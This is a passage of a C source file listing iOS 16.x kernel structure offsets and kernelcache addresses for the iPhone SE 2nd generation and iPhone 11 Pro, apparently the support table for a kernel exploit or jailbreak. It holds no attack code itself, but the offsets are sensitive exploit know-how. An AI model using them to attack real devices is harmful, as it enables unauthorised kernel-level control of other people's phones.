.pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x410,\n        .thread__object_size = 0x4b8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a3e5288,\n        .kernelcache__gPhysBase = 0xfffffff007940010,\n        .kernelcache__gPhysSize = 0xfffffff007940010 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00793e1e8,\n        .kernelcache__perfmon_devices = 0xfffffff00a4234f0,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ee35d0,\n        .kernelcache__ptov_table = 0xfffffff0078f3178,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a422990,\n        .kernelcache__vm_pages = 0xfffffff0078efeb0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078f2118,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a422988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f3241c,\n    },\n\n    // iOS 16.6 beta 1 //\n     {\n        .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:18:02 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8030\",\n        .build_version = \"20G5026e\",\n        .device_id = \"iPhone12,8\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x410,\n        .thread__object_size = 0x4b8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a47dab0,\n        .kernelcache__gPhysBase = 0xfffffff0079541b8,\n        .kernelcache__gPhysSize = 0xfffffff0079541b8 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007952370,\n        .kernelcache__perfmon_devices = 0xfffffff00a4bd520,\n        .kernelcache__perfmon_dev_open = 0xfffffff007f07d78,\n        .kernelcache__ptov_table = 0xfffffff0079079b8,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a4bc910,\n        .kernelcache__vm_pages = 0xfffffff007904100,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007906958,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a4bc908,\n        .kernelcache__vn_kqfilter = 0xfffffff007f56588,\n    },\n // End iPhone SE 2nd //\n // Start iPhone 11 Pro //\n  // iOS 16.2 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.2.0: Mon Nov 28 20:10:54 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8030\",\n        .build_version = \"20C65\",\n        .device_id = \"iPhone12,3\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x410,\n        .thread__object_size = 0x4b8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a35d178,\n        .kernelcache__gPhysBase = 0xfffffff00786fb98,\n        .kernelcache__gPhysSize = 0xfffffff00786fb98 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00786dd78,\n        .kernelcache__perfmon_devices = 0xfffffff00a398370,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ed4bd8,\n        .kernelcache__ptov_table = 0xfffffff007823260,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a397800,\n        .kernelcache__vm_pages = 0xfffffff007820088,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007822210,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3977f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f26f14,\n    },\n  // iOS 16.3 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:25:00 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8030\",\n        .build_version = \"20D47\",\n        .device_id = \"iPhone12,3\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x410,\n        .thread__object_size = 0x4b8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a365178,\n        .kernelcache__gPhysBase = 0xfffffff00786fc80,\n        .kernelcache__gPhysSize = 0xfffffff00786fc80 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00786de60,\n        .kernelcache__perfmon_devices = 0xfffffff00a3a0370,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ed8be8,\n        .kernelcache__ptov_table = 0xfffffff0078232a0,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a39f800,\n        .kernelcache__vm_pages = 0xfffffff0078200c8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007822250,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a39f7f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f2af14,\n    },\n  // iOS 16.3.1 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:25:00 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8030\",\n        .build_version = \"20D67\",\n        .device_id = \"iPhone12,3\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x410,\n        .thread__object_size = 0x4b8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a365178,\n        .kernelcache__gPhysBase = 0xfffffff00786fc80,\n        .kernelcache__gPhysSize = 0xfffffff00786fc80 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00786de60,\n        .kernelcache__perfmon_devices = 0xfffffff00a3a0370,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ed8be8,\n        .kernelcache__ptov_table = 0xfffffff0078232a0,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a39f800,\n        .kernelcache__vm_pages = 0xfffffff0078200c8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007822250,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a39f7f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f2af14,\n    },\n  // iOS 16.4 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:25 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8030\",\n        .build_version = \"20E247\",\n        .device_id = \"iPhone12,3\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x410,\n        .thread__object_size = 0x4b8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a42d208,\n        .kernelcache__gPhysBase = 0xfffffff00794fed0,\n        .kernelcache__gPhysSize = 0xfffffff00794fed0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00794e0a8,\n        .kernelcache__perfmon_devices = 0xfffffff00a46b4f0,\n        .kernelcache__perfmon_dev_open = 0xfffffff007efb3c8,\n        .kernelcache__ptov_table = 0xfffffff007903178,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a46a990,\n        .kernelcache__vm_pages = 0xfffffff0078ffeb0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007902118,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a46a988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f49f7c,\n    },\n  // iOS 16.4.1 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:25 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8030\",\n        .build_version = \"20E252\",\n        .device_id = \"iPhone12,3\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x410,\n        .thread__object_size = 0x4b8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a42d208,\n        .kernelcache__gPhysBase = 0xfffffff00794fed0,\n        .kernelcache__gPhysSize = 0xfffffff00794fed0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00794e0a8,\n        .kernelcache__perfmon_devices = 0xfffffff00a46b4f0,\n        .kernelcache__perfmon_dev_open = 0xfffffff007efb3c8,\n        .kernelcache__ptov_table = 0xfffffff007903178,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a46a990,\n        .kernelcache__vm_pages = 0xfffffff0078ffeb0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007902118,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a46a988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f49f7c,\n    },\n  // iOS 16.5 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:10:28 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8030\",\n        .build_version = \"20F66\",\n        .device_id = \"iPhone12,3\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x410,\n        .thread__object_size = 0x4b8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a435288,\n        .kernelcache__gPhysBase = 0xfffffff007950010,\n        .kernelcache__gPhysSize = 0xfffffff007950010 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00794e1e8,\n        .kernelcache__perfmon_devices = 0xfffffff00a4734f0,\n        